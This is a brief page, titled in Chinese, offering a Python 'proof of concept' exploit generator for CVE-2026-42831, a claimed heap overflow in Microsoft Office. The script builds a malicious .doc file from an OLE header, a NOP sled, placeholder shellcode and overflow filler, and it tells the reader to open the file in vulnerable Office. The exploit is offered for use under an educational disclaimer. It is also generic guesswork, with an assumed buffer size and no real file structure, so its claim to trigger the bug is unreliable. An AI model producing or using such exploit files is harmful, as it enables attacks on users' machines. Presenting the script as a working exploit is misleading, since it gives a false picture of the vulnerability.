CVE-2026-42831 Microsoft Office 基于堆缓冲区溢出漏洞

import struct # Proof of Concept for CVE-2026-42831 (Heap Buffer Overflow) # This script generates a malformed file structure to trigger the overflow. # Note: For educational and testing purposes only. def generate_malicious_file(filename): # Header for a generic Office file format (simplified) header = b"\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1" # Malicious payload designed to overflow the heap buffer # The specific offset and size depend on the vulnerable internal structure nop_sled = b"\x90" * 100 # Placeholder for shellcode (e.g., calc.exe execution) shellcode = b"\xCC" * 200 # Overflow trigger: data exceeding the allocated buffer size # Assuming the vulnerable buffer is around 256 bytes, we send 1024 overflow_data = b"A" * 1024 payload = header + nop_sled + shellcode + overflow_data with open(filename, 'wb') as f: f.write(payload) print(f"[+] Malicious file '{filename}' generated successfully.") print(f"[*] Open this file in a vulnerable version of Microsoft Office to trigger the crash.") if __name__ == "__main__": generate_malicious_file("cve_2026_42831_exploit.doc")